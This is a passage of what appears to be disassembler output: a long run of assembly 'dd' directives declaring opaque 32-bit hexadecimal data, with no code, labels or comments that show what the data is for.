		dd 3A5DD7A9h, 2F039BACh, 5EB6C48h, 5E1470E5h, 0B120E161h
		dd 4A8C32C2h, 14B0EBB8h, 87283FBh, 4312AC88h, 61A58406h
		dd 38B1F3C0h, 0BCC1948h, 0EEB4D809h, 4F041894h,	9DA2A001h
		dd 0FD31EC02h, 4FCA482h, 0B83706h, 6A0D160Bh, 0D2F04555h
		dd 1B267438h, 0C109F4D6h, 0B4E0F363h, 0D2DE3E7Dh, 6D9501Dh
		dd 10F1AA54h, 74BD609Dh, 9408C7A5h, 34002FDCh, 0AB292E10h
		dd 0D20A3500h, 743A0892h, 170B06F4h, 4883F5B4h,	141456h
		dd 38E349E6h, 77B416F0h, 98E06315h, 818E1F8h, 0EB38CE75h
		dd 20A8C7E6h, 0C0D4C3DCh, 0A934C00Fh, 29A09BEDh, 81301AC9h
		dd 903B5B42h, 0A088BD0Ch, 0E0341D91h, 0E1B13CCDh, 982F1458h
		dd 0D4083F51h, 7480A0DDh, 2898EB64h, 959410DBh,	56D38C3Ch
		dd 8913D34h, 805FB5Ah, 1C3D8755h, 3440D654h, 909F691Bh
		dd 8756394h, 30C07362h,	0D0F86FA2h, 3418AD00h, 0B06C1F6h
		dd 1C7400DEh, 159A35Dh,	0AC3EB1A9h, 0AAB001C6h,	0D8F09FD2h
		dd 53500A20h, 1F021CABh, 0BE44F2DFh, 39DD102h, 80E9E30h
		dd 5D749F50h, 0AA707931h, 0DA087C1Ch, 0AC0BB3Bh, 60109FF1h
		dd 0EA305EE9h, 30115540h, 8960BBEEh, 56007AEBh,	0C46B709h
		dd 0FB0934Fh, 2DC0C8F3h, 0D2100F56h, 0AD54FBA0h, 30C288D5h
		dd 30B562F6h, 3710DFD7h, 66131B0Dh, 552C0327h, 8055357h
		dd 767C71DBh, 63373460h, 521E0262h, 1586D28Eh, 43987063h
		dd 0D8BFB05Ah, 53D5E800h, 0A03E3837h, 688B528Ch, 6F4CA638h
		dd 84950768h, 645B059h,	3B663430h, 317F62F8h, 0D501E1C6h
		dd 68A3648Bh, 0B8A1014Ch, 536F60h, 0CD5675E6h, 0DDA01430h
		dd 35988CD9h, 0A5F5082Ah, 0CD3A0388h, 413F753Bh, 7C5F8306h
		dd 1E63B2D6h, 2993F938h, 3EA16EA4h, 846BEEEFh, 605E2638h
		dd 0A2A08010h, 216F53DCh, 0A347A861h, 68950114h, 54CE0Fh
		dd 5275D366h, 3FC0F87Ch, 559B05DDh, 4A8FC4A8h, 7AF5AD10h
		dd 0F85C3B74h, 40C3E052h, 39AE5F8Fh, 5BD0A619h,	9BD3388h
		dd 0F3E7620h, 20362B70h, 0A48A5203h, 0C6C9011Ch, 967C5C57h
		dd 5238BABCh, 21D81E4h,	0CC4816B8h, 0F867500Fh,	64F048D6h
		dd 0D41BC6F0h, 18C45E55h, 0EF08DB10h, 0A528B96h, 18E8AE26h
		dd 3FF50975h, 0A7D85850h, 0A5085964h, 0EF687502h, 1EC8883h
		dd 0E7DE781Eh, 0F35E1606h, 1973EE10h, 897D5ABh,	273C5815h
		dd 53414A15h, 30A17D9Ch, 0D6782439h, 0C3106660h, 63B67AECh
		dd 0ED38098Bh, 0E951681Fh, 7878360Dh, 0DC696FF0h, 0AF0A0968h
		dd 390C9816h, 716A5D78h, 6087F366h, 4A5665D5h, 0DF31E350h
		dd 862194CAh, 0F88964E6h, 781C5A18h, 0A1103E74h, 0A61A6C1Ah
		dd 2C30C124h, 69FE51ADh, 80EBC688h, 584834F5h, 8820E0DCh
		dd 0E0C554DCh, 63B529E6h, 28664040h, 6A40A415h,	0D0C95106h
		dd 0F606884Bh, 51072EB2h, 28C72635h, 8E74C2Ch, 378DA4BCh
		dd 6373943Eh, 27EEA050h, 5DF620CEh, 627C3390h, 1408B529h
		dd 0D3924B83h, 86A10AA8h, 70BC63D1h, 0B922E2AFh, 37A6132Ah
		dd 0E9B838EFh, 0A789AE18h, 0A7E8C651h, 363282B8h, 0E62119EBh
		dd 3C4A5820h, 0C8A7031Eh, 60238D4h, 0E1AFFC5Ch,	35D0FBD6h
		dd 3F047856h, 1F7C1AF5h, 0D034A55h, 1C18F775h, 0FB08A428h
		dd 362A01h, 7A02ED26h, 58C48496h, 0C1D3255h, 0F2081548h
		dd 0F1480F63h, 0F9701FFEh, 50950616h, 0D33110FAh, 47708F7h
		dd 25807023h, 3C7DCC13h, 0F207E883h, 6020997Ah,	0B26C075h
		dd 29665F40h, 0C1B0029Fh, 0DB805457h, 0A8862910h, 29C02852h
		dd 601F0975h, 4CE3A680h, 0CEE04402h, 9062C459h,	0C74CC651h
		dd 0F72680A4h, 8E35D68Ch, 7F322701h, 6341CF66h,	0EB610888h
		dd 4C2A2107h, 1BDB81C0h, 757799Bh, 7B3F05F8h, 0BCDB2D0h
		dd 0E7523260h, 0B804603Ch, 0DEBF953Eh, 0E47C8F18h, 724FCB9Dh
		dd 0E3604F6Ch, 81856E7Dh, 4A37CC5Ah, 0F9920132h, 14013095h
		dd 0B499A887h, 0F6B2435Fh, 71C80250h, 0D8E10476h, 0CE01898h
		dd 0EDE1610h, 5891D219h, 440F0A61h, 0B1B80BD9h,	6777A7F2h
		dd 614A156h, 510A9EBAh,	54123281h, 7F14C128h, 0EC6831B6h
		dd 8AA93279h, 141A35A9h, 0E4873C40h, 0E1ACA4B5h, 6470C444h
		dd 2009C9A9h, 721C08CCh, 0C107DAEDh, 0A101D95Dh, 0B8C2D82Dh
		dd 33E15844h, 9261F145h, 74889C97h, 19C1F4A0h, 0C17438D1h
		dd 0A3CA7DB2h, 8F8A39BBh, 58C8046Ch, 0EC30712Eh, 3BD22980h
		dd 0A1D12FD9h, 810299F0h, 2104689Dh, 7B7C980Ah,	567022EFh
		dd 0E46EF21Ah, 5828B438h, 1E0C40F2h, 8410F0EEh,	90902466h
		dd 0CDAD1809h, 3CE310D1h, 0B8107D50h, 79291B60h, 0AA2A85h
		dd 74B3CA5h, 0CDDD2DF3h, 94253402h, 805AA3D5h, 0CEEECA28h
		dd 0AA56016Fh, 44DCE50Ch, 2811009Ah, 0D4A60025h, 105E45A3h
		dd 28C024A0h, 0BECAAD7Dh, 4B1203C3h, 50A5D16Dh,	0D9C15806h
		dd 3018BC62h, 7A487D68h, 30308218h, 6EB0A99Ch, 5D21B08Fh
		dd 0A1669A23h, 0A65C219Dh, 60E3009Eh, 0B929AB14h, 0F48C3003h
		dd 2717DB0h, 0EEBF9F01h, 0E7DC3697h, 7315CFE0h,	0D465018Dh
		dd 99E1D8BAh, 0DE8C5050h, 77003498h, 48F3FE31h,	2A3FA4h
		dd 9E276EA8h, 0C46558DBh, 0DD80A701h, 26702BA1h, 905302D1h
		dd 0C33A07Eh, 7A11DE38h, 0AD6CA980h, 0B23449A5h, 30B61D3Ah
		dd 80432113h, 1EE47DA9h, 0D4398229h, 99008C4Ch,	14541DE9h
		dd 182B7E4Bh, 79018821h, 7B1AE18Fh, 106819C2h, 0ED8F71E9h
		dd 0E5E680D3h, 4D3118DBh, 0D2BD5845h, 0B8BF7A28h, 99D1850Ch
		dd 6F1CC06Fh, 57282801h, 80E7C189h, 0ADA09829h,	10540056h
		dd 74CDB114h, 3700163Ch, 0FCBA90DBh, 0D67C03h, 0DF5558C8h
		dd 87B16F73h, 8C01C574h, 364990CBh, 1260FAE7h, 25811CACh
		dd 0DB4EC0D8h, 2261C7FEh, 68A33Ah, 899E7A17h, 39A5AE34h
		dd 4E006667h, 0ECFDCF3Ch, 0C1004922h, 3A625682h, 3D9D4B30h
		dd 0A59F2C0Eh, 4CACC08Fh, 41C11A23h, 0C70074ECh, 21D03250h
		dd 17E3F99h, 0CBF0CA3Ah, 0C86B4463h, 80163B8Eh,	6E00389Eh
		dd 92A37F70h, 0F2EB00FDh, 6D9CC068h, 0DA0091BFh, 6460D5BAh
		dd 0D6B349h, 390FA107h,	0ACB0C672h, 894CD000h, 2301018h
		dd 6E6000E0h, 939EFC19h, 0F700F561h, 7B890D7Dh,	0BDC0FFh
		dd 6DEFC499h, 0FBE272C5h, 0AEE0650Bh, 0DBB980DFh, 0EBB7CAh
		dd 484912F9h, 45F58B7Ah, 0D50FCD01h, 707875D4h,	3CEA44C4h
		dd 1481BC83h, 570241BEh, 128840DCh, 2800B1E3h, 0A7AC6358h
		dd 3C1CF0CBh, 8E871772h, 0A366C7h, 7B71FCA4h, 54FE57F2h
		dd 0CCBE2A03h, 0A88FD323h, 0CF6DD2h, 0C2330816h, 1423C96h
		dd 0E152EC0Fh, 0AB5B6093h, 0C9D459h, 71B473FDh,	98ADE78Ah
		dd 2AA84300h, 8F7E8D90h, 0CD5F4C8Eh, 79317602h,	0EBC020B8h
		dd 4BEA4C32h, 4E07F0F2h
		dd 0B75D38EAh, 0DF39B4A0h, 0F46F0135h, 466A9203h, 4A3630F6h
		dd 11CFD71h, 17402A53h,	6AA98D26h, 326500C1h, 4A593E24h
		dd 8B00DF1Dh, 0CFACC8CAh, 0EE7A6FE2h, 0C75800B1h, 5CCE972Ch
		dd 55001077h, 1D35BA52h, 0C69809h, 263B9C73h, 59134358h
		dd 205AAF0h, 90F31218h,	27B2F200h, 14A2BF0h, 0D1CBA07h
		dd 207B6587h, 66000E18h, 9B56D86Fh, 1FEC6794h, 0C0815A93h
		dd 6C262FB3h, 0D1037D7Ch, 7055B93Eh, 0BCB800BAh, 50804F60h
		dd 201E3B9Eh, 797E5885h, 41C06600h, 0D4A03845h,	3CA2002Bh
		dd 2AFA651Fh, 64F858FBh, 168EC300h, 0D6264281h,	0F1DF279Ch
		dd 0BF003A76h, 0E8958740h, 636E00A2h, 0A4E7910h, 0CE0F168Dh
		dd 0C0D3FEC0h, 140961DAh, 0F78907Bh, 0E1A1A8B5h, 0E0C20187h
		dd 0AAB17874h, 4BDBF407h, 0D5D07B2Eh, 0FA06F0h,	0CAA8DE59h
		dd 37204773h, 0AE745101h, 6E98C60Ah, 6903C0h, 855868DFh
		dd 8FA1A98Ch, 5334EF00h, 2A015D31h, 3A3D0095h, 72304254h
		dd 0E33B3BFDh, 0D544005Ch, 0D85F6249h, 1D2A004Ah, 10D76129h
		dd 3D05F1E4h, 8C6CA4DFh, 5F16D81Ch, 9B407B1Fh, 62E99810h
		dd 7C4613BEh, 0DCE414AEh, 3B8B691Dh, 120200FDh,	615B1777h
		dd 60006879h, 31EEB98Dh, 90E31E93h, 0D5D800BCh,	6415AB44h
		dd 0F400B87Bh, 7E9E61B7h, 0A53811h, 0C1FE1C6Eh,	2788700Bh
		dd 8500E5F6h, 4908812Dh, 0B8654Ah, 3272E006h, 0DE9DA743h
		dd 22EFFB00h, 3D57CBCh,	34A200E9h, 7648D165h, 0A107CADDh
		dd 397464D3h, 0D771FBF0h, 58E200CDh, 1079D52Ch,	0DCA00E28h
		dd 5D036683h, 97A138C6h, 0E264B971h, 98AF58E4h,	50877044h
		dd 3F0AD44Ah, 2300B8A5h, 92591CFEh, 4203A15Bh, 7FF0EFD5h
		dd 0A48AE03Eh, 96A3003Ah, 0BB1FCE57h, 8B031498h, 0B1238FE3h
		dd 41BA9875h, 0B5B907E7h, 8028E5D6h, 20249498h,	235EB002h
		dd 43395B04h, 0D252D868h, 56A8C099h, 909A05BDh,	233B3C00h
		dd 0D10EAF06h, 0A7B06Fh, 7F853309h, 0DE66952Eh,	23EDDA00h
		dd 102B55E2h, 449F00FAh, 0CC011B9Eh, 4D7ED77Ch,	0B6F42007h
		dd 0F2A06B6Ah, 3A519C42h, 60803B37h, 2B7D7A5Fh,	5B01842Ch
		dd 0BFC36C29h, 0E1709443h, 0D5BB183Fh, 0D4C51E5Eh, 8B785238h
		dd 0E03D7h, 884B9E04h, 62330942h, 0C001214Ch, 0E4B976C5h
		dd 2F01983Ah, 7775FA3h,	0E2E0E335h, 261B016Eh, 39B57ECDh
		dd 94142090h, 0BB54E400h, 8E317360h, 591A0002h,	0AC3551BEh
		dd 0BF00A5C0h, 92FEFAEh, 389FEh, 0DDB2E004h, 1D06122h
		dd 18438704h, 11C4BDC6h, 0B9FAF480h, 0E2C8071Ah, 0A0A9EA74h
		dd 0AA7D9361h, 4FF3E009h, 88BA80C6h, 7E9CDh, 710AB55Ah
		dd 6C16FE50h, 0EFF4ED00h, 0D0B1E512h, 975B00DFh, 267EB4C8h
		dd 3FE664FEh, 7DAC0807h, 0A4301175h, 0FA7299B5h, 76823B5Eh
		dd 417A997h, 81C94CC4h,	48DB0BB8h, 2A0098C4h, 0A9C82D9Ch
		dd 1C29562h, 0E27ACF07h, 609F1F5Eh, 0BA14167Bh,	3905F25h
		dd 72B898D2h, 184AF0B6h, 0B4B20058h, 0CF167791h, 2A008261h
		dd 9BFF662Dh, 3E8C6B83h, 1C98F824h, 31844068h, 85DAAC00h
		dd 5B5F5929h, 0A5F90025h, 701934E3h, 0D97F7F12h, 0F82B7E1Ch
		dd 0C24DD147h, 8977409Eh, 1DE294h, 7B6A63B1h, 8CF2CA4h
		dd 0FF9238h, 8333AEE7h,	332ACEBh, 3E5E759Ch, 0C2B8198Bh
		dd 132DA2F2h, 276E2h, 0B45C8649h, 0B00ED36h, 0CD873840h
		dd 14D074Eh, 0D1C69F53h, 0E059BE13h, 960044B8h,	0CF369745h
		dd 0F7A546Fh, 0E1BF6C4Ah, 8C5D401Eh, 0A44DF8CCh, 0A2377F00h
		dd 75905C59h, 3174488Ah, 26FEF40h, 0BE3F343Ah, 0CC609C25h
		dd 6900EEE7h, 263CB9AEh, 362A184h, 0A318C17Bh, 0E9F94DCDh
		dd 0C440CA75h, 98005873h, 1370070Ah, 7CB5F05Dh,	65CB001Dh
		dd 5FACFFF8h, 8A07E16Dh, 804B7FC3h, 5BCA3C30h, 0FA770E5Eh
		dd 0E2805104h, 0DAF7EDDh, 9C25543Fh, 60B04DADh,	0EE55F4h
		dd 0E28941B4h, 3F78DAD6h, 510E2F98h, 43CFDF44h,	0C1C5C15Dh
		dd 0B3D4257Ch, 0F6DD0073h, 178B4855h, 0BD03AFB0h, 4B16D278h
		dd 0E91BE0DEh, 0E82602BFh, 0CD1C87Bh, 0A43A2450h, 10BA0054h
		dd 4E011EEFh, 0A6B00191h, 96FCD340h, 65C04152h,	0E42630h
		dd 9B39EADFh, 2E846Ch, 9452D5B8h, 0F140C713h, 4F705A00h
		dd 8C6F7522h, 0F39B0011h, 0E29A0127h, 18038FFDh, 8549BEE1h
		dd 3880BDADh, 0C029B570h, 13E21D31h, 0ED74F037h, 0E7254300h
		dd 0FDD78FAFh, 4E78C2h,	1519DD7Dh, 0CDC4F878h, 5AB5F103h
		dd 0A63228h, 0EF133E50h, 93C2FA44h, 11460D4h, 11F3A27Bh
		dd 0C670C122h, 4A78CBh,	0E4F11404h, 7EFA8899h, 3C0680B0h
		dd 0C21D93B8h, 0EFDE2E88h, 0BA490B5Bh, 3E0058AAh, 0AC2DF200h
		dd 44E1A4ABh, 0D9541500h, 4F8B932Ah, 4CC7188Ah,	0BECDD06Eh
		dd 371EB800h, 237C14C0h, 18B70085h, 57184FFh, 0D754C25Bh
		dd 991D6F84h, 0A80014B2h, 0C7EF4937h, 2B48C024h, 89C86BB7h
		dd 0F92F0800h, 9556AC50h, 3B1AB083h, 79A8DFh, 0AEC161F1h
		dd 4448323Ch, 9C0075E8h, 0B06235BBh, 0EAB3F90Ch, 2EDF00DDh
		dd 0A926896Ah, 2538F8CDh, 50580140h, 0FAC25E49h, 66C54850h
		dd 0D3B7007Ch, 3E09E136h, 7F1E2D49h, 0BAC03CAFh, 2FDE4380h
		dd 0ADD000E0h, 5AA38798h, 58003E8Dh, 9B6D53E2h,	5050FF78h
		dd 0F4C6E49Ah, 20093040h, 762DD860h, 2AAA3Dh, 7BEA2BE2h
		dd 0D3EFB0h, 4EACE161h,	0A2AFD6EBh, 3F512612h, 90872883h
		dd 7B2184E7h, 0A63D02BCh, 8F23DF0Eh, 0E91EA360h, 7BD00F00h
		dd 0C84C2AB1h, 30C9349Bh, 83043A10h, 0BE9DF6h, 71926910h
		dd 0CE63CA6Ah, 4F0FE500h, 0B232D2E2h, 0A0F60033h, 9CCB4365h
		dd 29C858B7h, 5534403Ah, 0F64C32C6h, 3329626Bh,	205624BEh
		dd 80C51DEEh, 1440CF88h, 5EC4020Ch, 0E8226280h,	2BBC7700h
		dd 0D84400FBh, 8569178Ch, 3E00242Fh, 0C0D7D993h, 53AB86h
		dd 60B3B1ECh, 808F2D0Ah, 7000FF71h, 4C6D4434h, 740D1BCh
		dd 517F1EC6h, 1921B0D7h, 0C300E167h, 3672C2B7h,	0E82354B9h
		dd 34F00D9h, 4BD7C62Eh,	0F10E5A0Bh, 792CD73h, 5FCBD453h
		dd 2F23D780h, 27037C41h, 0E3E88F83h, 35B0F871h,	87633DA3h
		dd 933FC903h, 7498E9DBh, 8400D18Eh, 0D3E7FA3Ch,	0EEFF2109h
		dd 1F613A16h, 0FE893280h, 5CBD93E5h, 0B2ACAF12h, 14C0AA1Eh
		dd 78B58A31h, 0C7C30012h, 1971688Eh, 0BEE22F83h, 933BED0Eh
		dd 28C88331h, 0BDC790B1h, 0A3440097h, 772152ECh, 3E00A2A4h
		dd 0AD32B0A7h, 3D67BA74h, 8E80291Ch, 0FAB692A8h, 3403E7D8h
		dd 0B1DF5B4Eh, 88000EFh, 4723162Ah, 0CA3B49A9h,	1A007A86h
		dd 0A2B2EEBAh, 0F68003h, 6C60D931h, 3377C36Bh, 46635100h
		dd 7CF47039h, 0A67796h,	390F8E5h, 85AF4C6Eh, 80818E38h
		dd 60242BC0h, 0FFF8454h, 0AA55B81Ch, 7CE9FA00h,	0EF0075CFh
		dd 71EEAEDCh, 0F69BBBFh, 0CEB75CFEh, 3757401Eh,	7BA34166h
		dd 332A9200h, 93D4E10Bh, 25770159h, 69FA8680h, 7AB260C2h
		dd 0EE02FBB0h, 0BEDAF97Fh, 4735602Ah, 60B9855h,	0B98EBFD5h
		dd 0F400503Fh, 0A94A6B70h, 7862F046h, 0BA600EAh, 6C106647h
		dd 241457BBh, 984C14Bh,	7802E1h, 0D788AF2Ah, 0F2674F5h
		dd 4BCC475Ah, 0A46E92C2h, 0A686EE80h, 4302B123h, 0C1E247Ch
		dd 0FB98808Ch, 74914B8h, 68819EA0h, 295B7096h, 0D21EE722h
		dd 1D78517Ah, 3D83BF9Ch, 0E8FD706Ch, 3215461h, 0B9ED916Ah
		dd 17CA57B4h, 158880F7h
		dd 0F03FF5FFh, 6E850062h, 7793E776h, 6D000E32h,	5E6A8D1Dh
		dd 71702029h, 1A9D00AAh, 23EBEA35h, 0B800AEC8h,	4EE0ED05h
		dd 0CBF5BAh, 442B3039h,	45EF62Dh, 1B82000h, 6392EFDDh
		dd 9469076Fh, 60D8FE27h, 304B39CCh, 473B0F01h, 0F796E852h
		dd 0E02820h, 0AAD7093Ah, 896EEEA3h, 0D2C12F07h,	0A09E6990h
		dd 4F729F5Dh, 8606123Fh, 3B6807BEh, 0F068A7E5h,	0E1C89005h
		dd 0B433A400h, 6A11C9FEh, 7B2117C7h, 2CC0365h, 0E1C87176h
		dd 3407C804h, 0B899CBADh, 3CC04E87h, 0A8B689h, 0FF509DFEh
		dd 0F2307D3Fh, 63DC131Fh, 0A37C3800h, 67981D9h,	25FD5B39h
		dd 6000B8EDh, 4B7035ABh, 665DFAh, 0F921F1F6h, 0CEDAE5DEh
		dd 0D0003D77h, 0BCD25BDBh, 71B3317h, 0D53695F6h, 64202C86h
		dd 82239F00h, 2C592D66h, 9124033Ch, 0CB0841DDh,	0F1A267E8h
		dd 82F45F00h, 0C96C8E58h, 9CE28Fh, 22747B4h, 0F0404319h
		dd 36869214h, 528700E2h, 930DC846h, 0F3E20139h,	3788DB45h
		dd 674830B9h, 0C4136928h, 0D4F6604h, 0C00DFE6h,	0F14B3A57h
		dd 4E26F61Fh, 48133C00h, 3A546BAh, 0ED7EAEE2h, 2DB88BC3h
		dd 0A600DC8Eh, 0EA0F6443h, 1B7C55h, 4FA0909Ch, 0BD73CC24h
		dd 4C3D520h, 0F826DF59h, 0D9C42075h, 5BE90087h,	63DEC288h
		dd 7C0027B2h, 4B658C35h, 0A361B45h, 0FBABF650h,	0B1C601FEh
		dd 3094C35Ch, 1707B70Bh, 0D8F4201h, 52E2870h, 0D7070020h
		dd 3CD660B5h, 0E100BA51h, 4E4DCA8Ah, 132C08BBh,	3EF8DFBh
		dd 7F3B3D7Fh, 0F4B3AC89h, 64006B73h, 19D5BF43h,	7BD2F18h
		dd 6F79F913h, 98E380A1h, 0D905BA33h, 256774ECh,	77C58E80h
		dd 0E6057044h, 0E2011EE1h, 0E56DC096h, 0F817027Fh, 59C52Eh
		dd 82418B0Fh, 60B415DDh, 1F9E13E0h, 8082D418h, 5F357385h
		dd 3F0192E8h, 7F0845EFh, 0A8DFA109h, 73C67921h,	5A0C00E9h
		dd 0DB9E4C8h, 4738C4B3h, 721280B0h, 50182910h, 141F7FCCh
		dd 0A49DB84Dh, 4FD8D602h, 7A40DD68h, 0E53ED3B1h, 650E9CBDh
		dd 0BE218E00h, 9C12EAh,	1A0B9436h, 0EEA83BDBh, 65EB3900h
		dd 0D07134A2h, 3B13E093h, 4F0797E8h, 702EDD53h,	0A8615B37h
		dd 0DB057C75h, 0C67B8948h, 2DC2BC06h, 852E00E0h, 5FA3C499h
		dd 56005DC5h, 36BF609Fh, 98CF4DD2h, 55CB263Dh, 8F7A00C0h
		dd 71BC8323h, 9D3CA30Fh, 0BB7803Fh, 0B1E334h, 7D8C2ADDh
		dd 571D2BEFh, 0D4C3500h, 5DE61ACFh, 0BE9600F8h,	65E7F4B2h
		dd 8778FC14h, 0D64C200h, 0AC935D38h, 116A0013h,	74D590A8h
		dd 810BDBC8h, 33BE0B6h,	93C2A198h, 8D06F880h, 0E6020E09h
		dd 0D2C393B5h, 0BBC04F1Eh, 5E0FB119h, 60064A87h, 6C47151Fh
		dd 735107A7h, 30F5629Ah, 2681DC9Eh, 8016D907h, 2560B454h
		dd 9397F8Dh, 0EC379C73h, 93958C00h, 7B00B55Ch, 0C8E617BFh
		dd 5BB3449h, 0BDA67733h, 1CF005Fh, 0A4900D91h, 2C1C29F6h
		dd 0A8812D81h, 97DE315Bh, 0F4BD74F4h, 50EE0046h, 6DA4C68Bh
		dd 271E586Fh, 0AC0B006h, 9921AFE6h, 3D7239h, 0B9F215F6h
		dd 452AA0FEh, 0AFE5A600h, 0F1C61E56h, 5089B0D3h, 27DE04h
		dd 0A342973h, 0B0EE928h, 0E5F6FA04h, 9FC0C85Eh,	14F32FACh
		dd 89AFB0BDh, 91A0D306h, 680010C4h, 4D3D6250h, 2ACE485h
		dd 1E59D99Dh, 0A40F074h, 0FE14928Fh, 861452h, 9B13824Ch
		dd 89344h, 0E05C5976h, 4D34BEEh, 0AA000B74h, 0EC891906h
		dd 1DDA181h, 0C013E314h, 0C4AFF6CDh, 0C8006A24h, 864E6DA3h
		dd 9568504h, 68CF8412h,	0CF5C580h, 3100EB3Ch, 4324BAA4h
		dd 0A9A1DDh, 4121C6FCh,	0B23ABDE7h, 3203F0F6h, 0C9874C7Ah
		dd 698FD0E4h, 8E4F000Bh, 0B05A02A3h, 0E800E5D6h, 0A207708Ch
		dd 3BD52DFDh, 0F71E1BB7h, 0ACA1804Ch, 592AA81h,	0E0794100h
		dd 2BAE85BBh, 42F31FCBh, 0C8FFC33Ah, 75D006E5h,	941F157Eh
		dd 0D5436343h, 1761CDEh, 4891A920h, 0C45CDDACh,	177D3671h
		dd 6BB0D250h, 11F6B461h, 19E0C273h, 21AD00AAh, 0E19D2F33h
		dd 1A3DA1C3h, 0FAEF2440h, 602701Eh, 0E0560CE7h,	0E867C318h
		dd 3B6100AFh, 58345E46h, 1FE44A7Ah, 0A05C700Eh,	4B3700BBh
		dd 8EDED0h, 0B38FCF95h,	9FF145C8h, 0A790131Fh, 0A28085C0h
		dd 1B0CCDh, 0ADD0A12Bh,	0FC564B5h, 78604F00h, 12D1FFF1h
		dd 0D8133CDEh, 0BA7A7200h, 863D292Eh, 0E70075B0h, 5A3BA6F9h
		dd 0EA33D7AEh, 9BB900E2h, 0CABE5EE1h, 9200783Eh, 7A047982h
		dd 0B71D1Ch, 0BF34155Fh, 9FC49ECEh, 65F35200h, 3DBB8C86h
		dd 0AAB30059h, 0E275E60Fh, 0EE1C60F8h, 4A0F911Ch, 7F0C8E36h
		dd 335F8F80h, 7CDE5Bh, 0AFB1DC6h, 0ACF2B826h, 0A2893D00h
		dd 0C44EED28h, 47731DBFh, 0E62B8081h, 0DBD94DBh, 0DAADB207h
		dd 0EF90CB3Fh, 3E1101h,	8E55E481h, 0D934021Ah, 80159338h
		dd 402604E2h, 5A3AA4h, 0D3850BD2h, 594F692Bh, 0E092D400h
		dd 1BBFC515h, 5D1A00C4h, 0DC60A2CEh, 990001CCh,	0BB54252Fh
		dd 3AA5ED5Bh, 0FD8A9Eh,	0B2B95E72h, 0AF0A6870h,	35564D03h
		dd 800732CBh, 0E6988775h, 16E4586Eh, 0AFA43600h, 38AECE97h
		dd 770C2E03h, 0FCA1C1h,	4C0135E0h, 8C39D686h, 9EED8100h
		dd 0F008BE0Ch, 1DCF7442h, 89E49631h, 2B00CC7Eh,	59B9F998h
		dd 9EC00CE4h, 0C3123C36h, 0C53800C6h, 80EA3328h, 0B10CB2ADh
		dd 89BBBE6h, 2C94909Eh,	20C6BCAEh, 0AEC00B4h, 2B1527F4h
		dd 212426F7h, 0AB006474h, 67282290h, 0E0383D79h, 3FA97A80h
		dd 5C61D627h, 35B41B01h, 5BB788ACh, 193F5E0h, 9B587FFBh
		dd 0D4EF17AFh, 380036C5h, 3E07DA19h, 4EF06Ch, 9102B2D1h
		dd 0EDAF5717h, 0FAA7D41Ch, 0B6C0F61Fh, 9B228375h, 28640731h
		dd 0D32E1198h, 0CF88F234h, 6C78E767h, 21456602h, 4077B807h
		dd 0F3EADEF9h, 40D40CCh, 20E10E15h, 1F24C288h, 48469C0h
		dd 65309A00h, 0D58B6B7Ch, 696D01D0h, 9752A6BBh,	5AE3E8F9h
		dd 2FA23Dh, 0B0847842h,	23C5B8Ch, 0D1AEAD10h, 0D2407BEDh
		dd 61007313h, 7FE0C34Fh, 3C7B0h, 0D039D232h, 1A971625h
		dd 9E3F7900h, 277121E1h, 0D14300B3h, 0C281A689h, 742608D0h
		dd 2901F4DEh, 3FD2A451h, 18361AE4h, 0B8E44792h,	0EA00D46Ch
		dd 3E9CADC3h, 45DE063h,	65E92728h, 2C88C05Eh, 0F6077E59h
		dd 4A9C0D96h, 47206EC0h, 0ABA80070h, 0A66AA394h, 14005AF1h
		dd 3E93668Fh, 1BBF3E6h,	574EEFE3h, 0E89E32D9h, 85007437h
		dd 1B6B4DB4h, 53970B1h,	5E64D610h, 0B64B80CDh, 0AC00777Eh
		dd 365967F4h, 1C5E5F2h,	0B8BA3ACBh, 40C198B5h, 0F97D5ED8h
		dd 3B004C77h, 3C5CD2D9h, 0F49ECF3h, 469915B5h, 8827F0D2h
		dd 30129B74h, 4F00E9FBh, 0B99C1C6Dh, 3C852C8Eh,	50630313h
		dd 0F800F637h, 0E1152006h, 7C981h, 0FD306F1Eh, 660AD9E2h
		dd 8C004E90h, 0FB65640Eh, 0E7E548h, 0A6968D7Fh,	0E26834EBh
		dd 0ACDBAF28h, 0C90782F0h, 0B6BF8912h, 2F6F1B50h, 5C9F0040h
		dd 72AD0E44h, 141D1276h, 880B8CAh, 6EB4BA19h, 2275ACh
		dd 4AFFE503h, 8240EB85h, 0F50014B0h, 0EAABB09Fh, 0A35EE6h
		dd 0FEDC368Bh, 5BE7ACF7h, 2BB97A00h, 0B10B82B4h, 0C34B0C12h
		dd 3C90DE16h, 0A5711AF6h, 2ACF8B01h, 0A66B73E0h, 0F0594430h
		dd 8880A3F4h, 18993D21h, 206A15F7h, 6500948Bh, 82333463h
		dd 84B7DCDh, 67605095h,	6E01CB00h, 1872BF70h, 19C71ED9h
		dd 76003E66h, 8ABE718Fh, 857033h, 2C7AB9DDh, 1A3A2BA8h
		dd 0A441B101h, 3FF2C6BEh
		dd 311FE0h, 550A085Bh, 0F0445103h, 4909C883h, 1E8D18C0h
		dd 0FDA4A810h, 27B74C02h, 400F5BD2h, 9FA635h, 1A47B144h
		dd 3983C4F3h, 7E4AD800h, 0CC14ACA0h, 3BD907FBh,	0B24C62CAh
		dd 0B8C0E1F7h, 7302C62Fh, 5AF08015h, 8C984005h,	694F000Ah
		dd 0FB6453ADh, 9D005F3Eh, 0C80B4EA0h, 0A36BCBh,	26B020C9h
		dd 69291585h, 4D25B4A0h, 9FD3C000h, 0F8F77D79h,	1EE81E9Ch
		dd 5FDFC18Bh, 60F301ACh, 0DC004AE3h, 0BF1BCD21h, 6A3E7h
		dd 8104DA97h, 5BC52AF2h, 709D5400h, 0B0793127h,	6EFC00E9h
		dd 0BB93BAC1h, 2E000A5Fh, 10264EE1h, 0EC887C9h,	0F5F2AFBFh
		dd 2DF4BE00h, 0CF01CE45h, 7D825415h, 68D0796Eh,	1E13F93h
		dd 12BA9880h, 0E70747D1h, 0E923CF00h, 1E17C638h, 0ACC4079Bh
		dd 90F26D29h, 1F0733A1h, 8418AF00h, 5FAA3574h, 0A61D1C8Ch
		dd 0C82B40B0h, 0D7A82DE8h, 0A3B90400h, 42E66CCBh, 1C560090h
		dd 0C2E218D8h, 0DA0025D2h, 4476A12Dh, 793692h, 55DDD18Bh
		dd 336885FEh, 0E57DEF06h, 79F16C26h, 9CC80081h,	1A21B59Fh
		dd 8E0097C0h, 687DD14Bh, 3D85F758h, 75803A34h, 0DCDA846h
		dd 7EE2B12Ah, 926B0600h, 73702F60h, 0F1F800ADh,	0E8E269FDh
		dd 0D83FD1ACh, 478000A6h, 28F45249h, 0C69CA0C3h, 8CBF1E33h
